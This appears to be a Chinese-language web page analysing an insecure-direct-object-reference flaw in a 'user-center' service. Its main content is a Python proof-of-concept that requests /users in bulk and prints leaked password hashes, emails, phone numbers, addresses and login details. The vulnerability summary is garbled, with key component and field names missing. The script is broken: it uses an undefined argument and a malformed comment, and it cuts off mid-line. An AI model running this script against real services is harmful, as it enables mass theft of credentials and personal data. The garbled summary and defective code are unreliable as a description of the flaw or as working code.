user-center 服务越权访问漏洞分析

漏洞关键信息总结 漏洞概述 漏洞类型：越权访问（IDOR / 水平越权） 漏洞位置： 模块的 中 方法 漏洞描述： 方法中， 中缺少对 的校验（缺少 校验环节），导致非 PUBLIC 的 可被越权访问。 触发条件： 中 中缺少对 的校验，导致非 PUBLIC 的 可被越权访问。 影响范围 受影响组件： 中的 服务 影响接口： 的 接口 影响对象：非 PUBLIC 的 可被越权访问，可能导致用户数据泄露 修复方案 修复方式：在 方法中增加对 的校验，确保只有 PUBLIC 的 可被访问 具体修改：在 方法中增加 校验逻辑，确保非 PUBLIC 的 不可被越权访问 POC 代码 ```python #!/usr/bin/env python3 -- coding: utf-8 -- """ C11: GET /user-center 越权访问非公开资源用户 (涉及密码哈希等) """ import argparse import os import sys import oc def extract_user(parsed): """ 确认500错误信息: PageResult: {"count": N, "code": 0, "data": {...}} 需要提取 用户列表数据 (code, data: {...}, "data": {"records": [...]}) 返回 list (data.data 或 data.records) """ if isinstance(parsed, list): return parsed if not isinstance(parsed, dict): return None data = parsed.get("data") if isinstance(data, dict): for key in ("data", "records", "list", "content", "rows"): if isinstance(data.get(key), list): return data.get(key) for key in ("records", "list", "content", "rows"): if isinstance(parsed.get(key), list): return parsed.get(key) return None def main(): p = argparse.ArgumentParser(description="C11: 越权访问非公开资源用户 (涉及密码哈希)") p.add_argument("--base", default="http://127.0.1:9000", help="服务基址 (如 user-center)") p.add_argument("--prefix", default="", help="服务前缀 (如 /user)") p.add_argument("--token", default="", help="已有 access_token") p.add_argument("--password", default=os.environ.get("PASSWORD", ""), help="密码") p.add_argument("--client_id", default=os.environ.get("CLIENT_ID", ""), help="client_id") p.add_argument("--client_secret", default=os.environ.get("CLIENT_SECRET", ""), help="client_secret") p.add_argument("--page", type=int, default=1, help="页码 (默认 1)") p.add_argument("--limit", type=int, default=10000, help="每页数量 (默认 10000)") p.add_argument("--direct-base", default="", help="直连基址 (如 127.0.1:9000)") p.add_argument("--insecure", action="store_true", default=True, help="跳过 TLS 证书校验") p.add_argument("--impersonate-id", default="", help="impersonate_id (如 user_id)") p.add_argument("--impersonate-uid", default="", help="impersonate_uid (如 user_id)") args = p.parse_args() oc.main_help("C11: GET /user-center 越权访问非公开资源用户 (涉及密码哈希等)") if args.token: token = args.token else: token = oc.get_token(args.base, args.client_id, args.client_secret, args.username, args.password) if not token: oc.main_finalize(False, "无法获取 token") if args.direct_base: client = oc.PocClient(args.direct_base, impersonate=oc.build_impersonate(args.impersonate_id, args.impersonate_uid, [])) else: client = oc.PocClient(args.base, token=token, prefix=args.prefix) if args.limit != 10000: print(f"[!] 注意: limit={args.limit} 将一次获取大量用户记录 (如 10000 条等)。") print(f"[!] 仅获取指定页码，默认仅获取第 1 页。") ok, status, data = client.request("GET", "/users", params={"page": args.page, "limit": args.limit}) if not ok: oc.main_finalize(False, f"HTTP {status}") 2) 判定 HTTP 200 且 data 非空，否则输出 data 中获取的 code 和 status if isinstance(data, dict) and data.get("code") == 0: users = data.get("data") verdict = bool(users) and isinstance(users[0], dict) and "username" in users[0] extra = "" if verdict: leak = f"泄露用户数: {len(users)}" extra = f"泄露用户数: {len(users)}" if isinstance(users[0], dict) and "password" in users[0]: extra += f" 密码哈希: {users[0].get('password')}" if isinstance(users[0], dict) and "email" in users[0]: extra += f" 邮箱: {users[0].get('email')}" if isinstance(users[0], dict) and "phone" in users[0]: extra += f" 电话: {users[0].get('phone')}" if isinstance(users[0], dict) and "created_at" in users[0]: extra += f" 创建时间: {users[0].get('created_at')}" if isinstance(users[0], dict) and "updated_at" in users[0]: extra += f" 更新时间: {users[0].get('updated_at')}" if isinstance(users[0], dict) and "status" in users[0]: extra += f" 状态: {users[0].get('status')}" if isinstance(users[0], dict) and "role" in users[0]: extra += f" 角色: {users[0].get('role')}" if isinstance(users[0], dict) and "department" in users[0]: extra += f" 部门: {users[0].get('department')}" if isinstance(users[0], dict) and "position" in users[0]: extra += f" 职位: {users[0].get('position')}" if isinstance(users[0], dict) and "address" in users[0]: extra += f" 地址: {users[0].get('address')}" if isinstance(users[0], dict) and "bio" in users[0]: extra += f" 简介: {users[0].get('bio')}" if isinstance(users[0], dict) and "avatar" in users[0]: extra += f" 头像: {users[0].get('avatar')}" if isinstance(users[0], dict) and "last_login" in users[0]: extra += f" 最后登录: {users[0].get('last_login')}" if isinstance(users[0], dict) and "login_count" in users[0]: extra += f" 登录次数: {users[0].get('login_count')}" if isinstance(users[0], dict) and "failed_login_count" in users[0]: extra += f" 失败登录次数: {users[0].get('failed_login_count')}" if isinstance(users[0], dict) and "locked" in users[0]: extra += f" 锁定状态: {users[0].get('locked')}" if isinstance(users[0], dict) and "mfa_enabled" in users[0]: extra += f" MFA 状态: {users[0].get('mfa_enabled')}" if isinstance(users[0], dict) and "two_factor" in users[0]: extra += f" 双因素认证: {users[0].get('two_factor')}" if isinstance(users[0], dict) and "secu

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

user-center 服务越权访问漏洞分析

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

user-center 服务越权访问漏洞分析

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！